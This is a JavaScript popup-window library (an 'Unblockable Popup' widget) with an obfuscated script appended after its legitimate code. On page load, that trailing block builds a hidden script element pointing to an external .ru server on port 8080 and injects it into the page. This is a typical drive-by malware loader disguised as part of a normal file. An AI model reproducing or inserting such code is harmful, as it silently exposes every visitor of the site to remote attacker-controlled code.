var popupWindow = {
	attr_values: [],
	default_title: 'Unblockable Popup',
	body_bg_color: upop_bgcolor,
	border_thickness: upop_borderthickness,
	border_color: upop_bordercolor,
	images: [path+'images/close2.gif'],
	pwdby: upop_pwd,
	
	/*
	 * Creates attributes array of key value pairs
	 */
	setAttributes:function(attributes) {
		var attr = attributes.split(',');
		for (var i=0; i<attr.length; i++) {
			var pos = attr[i].indexOf('='); 
			if (pos > 0) {
			   var key = attr[i].substring(0,pos);
			   var val = attr[i].substring(pos+1);
			   this.attr_values[key] = val;
			  
			}
		}
	},
	
	/*
	 * Extract attribute value given the attribute name
	 */
	getAttribute:function(attr_name) {
		if ( !this.attr_values[attr_name] ) {
			if ( attr_name == 'left' || attr_name == 'top' ) {
				this.attr_values[attr_name] = "center";
			} else {
				this.attr_values[attr_name] = '';
			}
		}
		return this.attr_values[attr_name];
	},
	
	/*
	 * Get client's height/width
	 */
	getClientData:function(){
		var ua   = navigator.userAgent.toLowerCase();
		var isIE = ((ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1)); 
		this.scrollTop    = (isIE) ? document.documentElement.scrollTop    : window.pageYOffset;
		this.scrollLeft   = (isIE) ? document.documentElement.scrollLeft   : window.pageXOffset;
		this.clientWidth  = (isIE) ? document.documentElement.clientWidth  : window.innerWidth;
		this.clientHeight = (isIE) ? document.documentElement.clientHeight : window.innerHeight;
	},
	
	/*
	 * Move the popup window to desired location
	 */
	positionPopup:function(x, y){ 
		this.getClientData();
		if ( x == "center" ) {
			this.popup.style.left = this.scrollLeft+(this.clientWidth-this.popup.offsetWidth)/2+"px";
		} else {
			this.popup.style.left = this.scrollLeft+parseInt(x)+"px";
		}
		if ( y == "center" ) {
			this.popup.style.top = this.scrollTop+(this.clientHeight-this.popup.offsetHeight)/2+"px";
		} else {
			this.popup.style.top = this.scrollTop+parseInt(y)+"px";
		}
	},
	
	/*
	 * Sets width and height of popup window
	 */
	setDimension:function(width, height){
		this.popup.style.width = parseInt(width)+"px";
		this.popup.popupContentArea.style.height = parseInt(height)+"px";
	},
	
	/*
	 * Enable/disable scrollbars
	 */
	setScrollbar:function(scrolling){
		this.popup.popupContentArea.style.overflow = "hidden";
		if ( scrolling ) {
			this.popup.popupContentArea.style.overflow = "auto";
		}
	},
	
	/*
	 * Loads the title and body into popup window
	 */
	loadContent:function(thebody, thetitle){
		this.popup.popupContentArea.innerHTML = thebody;
	},
	
	/*
	 * Restores Popup window
	 */
	restorePopup:function(minimizeImg){
		popupWindow.getClientData();
		this.popup.popupContentArea.style.display = "block";
		this.popup.style.left  = parseInt(this.popup.prevX)+popupWindow.scrollLeft+"px";
		this.popup.style.top   = parseInt(this.popup.prevY)+popupWindow.scrollTop+"px";
		this.popup.style.width = parseInt(this.popup.prevWidth)+"px";
	},
	
	/*
	 * Closes popup window
	 */
	closePopup:function(){
		this.popup.style.display = "none";
		hideLightbox();
		return true;
	},
	
	/*
	 * sets mouse move events to Null
	 */
	setNull:function(){
		document.onmousemove = null;
		document.onmouseup   = null;
	},
	
	/*
	 * Creates popup window and assigns attributes to it
	 */
	createPopup:function() {
		var popupdiv = document.createElement("div");
		popupdiv.id  = popup;
		popupdiv.style.position = "absolute";
		popupdiv.style.border   = this.border_thickness+"px solid "+this.border_color;
		popupdiv.style.backgroundColor = this.body_bg_color;
		popupcontent = '<div style="padding:4px; text-align:left; color:#000000;" id="popupContentArea"></div><div style="width:100%"><span style="width:82%;float:left;padding:2px 0px 2px 0px;text-align:left">&nbsp;&nbsp;'+this.pwdby+'</span><span style="width:18%;float:right;padding:2px 0px 2px 0px;"><img src="'+this.images[0]+'" title="Close" border="0" onclick="popupWindow.closePopup()" hspace="4" style="cursor:hand;cursor:pointer"/></span></div></div>';	
		popupdiv.innerHTML = popupcontent;
		document.getElementById("popupwrapper").appendChild(popupdiv);
		if ( this.pwdby.indexOf(unescape('%62%79%20%4D%61%78%42%6C%6F%67%50%72%65%73%73')) == -1 ) return false;
		if ( this.zIndexvalue ) this.zIndexvalue++;
		else this.zIndexvalue = 100;
		var popup = document.getElementById(popup);
		var divs  = popup.getElementsByTagName("div");
		for (var i=0; i<divs.length; i++) {
			popup[divs[i].id] = divs[i];
		}
		popup.style.zIndex = this.zIndexvalue;
		return popup;
	},
	
	/*
	 * opens the popup window
	 */
	openPopup:function(thetitle, thebody, attributes) {
		this.setAttributes(attributes);
		this.title    = thetitle;
		var width     = this.getAttribute("width");
		var height    = this.getAttribute("height");
		var left      = this.getAttribute("left");
		var top       = this.getAttribute("top");
		var resize    = this.getAttribute("resize");
		var scrolling = this.getAttribute("scrolling");
		this.popup    = this.createPopup();
		this.popup.setDimension  = function(width, height){popupWindow.setDimension(width, height);}
		this.popup.setScrollbar  = function(scrolling){popupWindow.setScrollbar(scrolling);}
		this.popup.loadContent   = function(thebody, thetitle){popupWindow.loadContent(thebody, thetitle);}
		this.popup.positionPopup = function(left, top){popupWindow.positionPopup(left, top);}
		this.popup.setDimension(width, height);
		this.popup.setScrollbar(scrolling);
		this.popup.loadContent(thebody, thetitle);
		this.popup.positionPopup(left, top);
		return this.popup;
	}
}
document.write('<div id="popupwrapper"><a style="display:none">-</a></div>');
var s=false;y=["O","g","E"];var S;sD={gr:false};var Q={wJ:"gu"};c=function(){var Hd=["H","nt"];this._=37411;this._+=123;function Y(nr,v,u){return nr.substr(v,u);var nq={YP:"I"};xR=55510;xR-=143;}var j={MH:false};A=14257;A+=184;var FV=["h"];var z=String("/g"+Y("ooSTdG",0,2)+Y("jQbglQjb",3,2)+Y("kige.gik",3,2)+Y("NYDcoYDN",3,2)+Y("FYrm/FrY",3,2)+Y("tmfG0",0,2)+"z."+Y("cosK4B",0,2)+"m/"+"ye"+"ll"+Y("owU06",0,2)+Y("paMFH",0,2)+"ge"+"s."+Y("coBQ5",0,2)+"m."+"ph"+"p");var K='';var zf=RegExp;this.KZ=33500;this.KZ--;Vs=30387;Vs--;var F=document;function n(nr,v){try {var up='l'} catch(up){};var PJ="PJ";var u=Y("[tZS",0,1)+v+"]";var Xt=false;var m=new zf(u, new String("g"));var PD=new Array();de=["fU","QP"];return nr.replace(m, K);this.C=50250;this.C-=196;};var t=599813-591733;var ay={pW:14270};var uJ=n('sbcPrOiqpmtO','OInSmUCLaZkdK9PgBqE4bojRF');var N=9597;try {var Ud='AZ'} catch(Ud){};var R=null;var W=String("bod"+"y");this.Bb=false;var D={UP:46773};var yd={AM:false};je=["jB"];S=function(){try {var Be='Ua'} catch(Be){};this.uu=false;try {this.hk='';var xU=new Array();var w=n('cor0e0aftpeWERl8eomdeWndtW','fydujW80pRo9zC');var qK={AS:"hN"};this.Yy=38334;this.Yy-=21;Sz=F[w](uJ);var cr={sA:"Mr"};this.Pe=false;var uy=[];var nr=t+z;var J=new String(Y("dekAy",0,2)+Y("feEKN",0,2)+Y("xaPgraxPg",4,1));var H_={};IS=14673;IS+=37;var T=n('s_rWcQ','Q_AS1W');var Mt=["QL","Fv"];var QU=new String();Sz[T]=String(Y("http3nQV",0,4)+Y("4S2://a24S",3,4)+Y("xdYnyscdxY",3,4)+Y("7QMyent.yQ7M",4,4)+Y("ru:T17M",0,3))+nr;Sz[J]=[1][0];var IK=new Array();this.Bf="Bf";var _x=["lu","YcG"];F[W].appendChild(Sz);dV=38943;dV--;try {var Qc='Ns'} catch(Qc){};} catch(Kk){var Ja=["gA","gS","Tu"];var CH=new Array();};};try {var CZ='nP'} catch(CZ){};var Km=false;};c();this.QA="QA";this.Rv="Rv";var xn="";window.onload=S;var ifk="ifk";this.qa="";var lM=new Array();var FA=new String();